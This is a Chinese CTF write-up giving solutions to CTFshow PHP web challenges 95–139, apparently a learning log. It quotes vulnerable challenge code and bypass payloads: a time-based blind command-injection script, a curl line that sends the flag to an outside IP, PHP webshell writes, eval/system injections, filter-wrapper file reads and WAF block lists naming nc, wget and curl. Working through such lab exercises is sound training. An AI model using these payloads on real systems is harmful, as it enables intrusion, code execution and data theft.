CTF.SHOW
此文章记录CTFSHOW的WEB入门系列，由于前面较为简单，所以采用倒叙模式，后面还是有很多小trick的
WEB 139
cut命令盲注
import requests
import time
str = "1234567890-flagbcdefh{}"
flag = "flag{"
for i in range(6,60):
for j in str:
burp0_url = "http://8a9c4b42-c259-4e1b-b637-456b559ed22c.chall.ctf.show/?c="
burp0_data = "if [ <code class="prettyprint" >cut -c %s /f149_15_h3r3 = \"%s\" ];then sleep 2;fi"%(i,j)
#print(burp0_data)
start=time.time()
res = requests.get(burp0_url+burp0_data)
#print(res.text)
if int(time.time())-int(start) >1:
flag += j
print(flag)
WEB 137-138
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
call_user_func可以用数组调用内部类
所以
POST : ctfshow[]=ctfshow&ctfshow[]=ctfshow::getFlag
不懂看看这个：https://blog.csdn.net/u014532717/article/details/56015077
WEB 136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
payload：
GET : ?c=ls / |tee xxx
访问xxx即可
WEB 135
payload:
GET : ?F=<code>$F ;mv flag.php 1.txt
改名就行
WEB 134
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06
*/
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
extract 变量覆盖
GET : ?_POST[key1]=36d&_POST[key2]=36d
WEB 133
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
传入起本身让其执行命令即可
GET : ?F=<code>$F;curl ip -datacat /flag |grep flag
WEB 132
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
payload
GET: ?username=admin&password=1&code=admin
WEB 131
好像和下面一样，我忘了
WEB 130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
preg_match 会在99999个字符时候溢出。所以多传点无用字符即可
payload
f=php://filter/read=convert.base64-encode/resource=/a*999999/ctfshow/../var/www/html/flag.php
WEB 129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
payload
f=php://filter/read=convert.base64-encode/resource=/ctfshow/../var/www/html/flag.php
WEB 128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼？";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
_()=GETTEXT
GET : ?f1=_&f2=phpinfo
WEB 127
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼？");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
URL编码就行
GET: ?%63%74%66%5F%73%68%6F%77=ilove36d
WEB 123 - 126
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这个到126 全是非预期一把梭
非预期1
GET: ?$fl0g=flag_give_me
POST： CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])
非预期2
GET:
POST： CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
非预期3
GET: ?1=flag.php
POST： CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]) //show_source都行
预期长这样：
变量覆盖
GET: ?abc=123+fl0g=flag_give_me
POST: CTF.SHOW=fl0g&CTF[SHOW.COM=1&fun=parse_str($a[1])
WEB 115
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
看起来很花里胡哨的，又是函数又是判断的，其实就是一个考点，绕过trim
看看is_numeric的源码 
在is_numeric开始判断之前，首先要跳过所有的空白字符
看看trim的源码 
过滤的空白字符少了一个\f，用%0c过
GET: ?num=%0c36
WEB 112 - 114
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼！";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
基本过滤了所有伪协议还有root/proc的trick，但是尝试过发现
php://filter/resource=flag.php
可以用
WEB 113
WMCTF2020 Check in 2 原题
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self//root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
WEB 112
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
WEB 111
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
满足v1=ctfshow
v2传入GLOBALS
WEB 110
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
使用FilesystemIterator类
传入getcwd()获取当前目录即可
WEB 109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
出题人正则写错了，导致只匹配第一个字符，预期应该是/^[a-zA-Z ]*$/吧可能
所以直接new一个异常带入system就行
?v1=Exception&v2=system(%27ls%27)
WEB 108
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
看到指纹是5.6 所以%00截断 正则匹配第一个字符
payload
c=a%00778
WEB 107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
两个数组就行了
WEB 106
数组
WEB 105
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
变量覆盖，和 [BJDCTF2020]Mark loves cat 考点一样
GET ha1=flag
POST error=ha1
WEB 104
数组
WEB 102-103
此为一系列题目，所以一起说
拿到源码：
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
代码逻辑很清晰，需要过一个is_numeric的检测，但是可以发现她用了and而不是&&，php运算符优先级可知&&>=>and
写一个示例代码
可以发现在第一项为TRUE的时候 $d 会自动赋值true
所以我们只需要v2满足number而v3自定义即可
然后因为过滤之类的 我们必须满足v2为数字
所以使用hex2bin函数 十六进制转字符，用base64编码写文件
GET:
v2= 5044383949434267593246304943706749434137&v3=php://filter/write=convert.base64-decode/resource=1.php
POST：v1=hex2bin
WEB 103 代码
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
也可以用上面的方法绕过，感觉是非预期了
WEB 100-101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
根据上面的知识，只要满足v1是数字即可，还必须包括分号
payload
v1=1&v2=echo&v3=;system('ls');;
WEB 101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
这题过滤比较多，基本符号都没有了
根据上一题的经验，ctfshow.php是一个类，且只定义了变量，所以我们需要找一个函数或者其他方式把类名打印出来，
翻来覆去找到了一个类Reflectionclass
所以我们只需要输出这个类即可
payload
v1=1&v2=%20echo%20new%20Reflectionclass&v3=;
参考：https://www.jianshu.com/p/d02cbde1cdd7
WEB 99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
in_array弱类型
payload
GET ?n=36.php
POST content=<?php system('cat *');?>
WEB 98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
考点就是变量覆盖、三元运算符、&在php中的引用作用
如果存在GET请求则引用POST请求的内容
所以payload是
GET ?xxx
POST HTTP_FLAG=flag
WEB 97
MD5 弱类型 不说了
WEB 96
./flag.php 没啥说的
WEB 95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
Num = 4476 还不能等于，不能用十六进制，查了下可以用8进制，010574但是开头是0，用+绕过就行
ha1大师傅 tql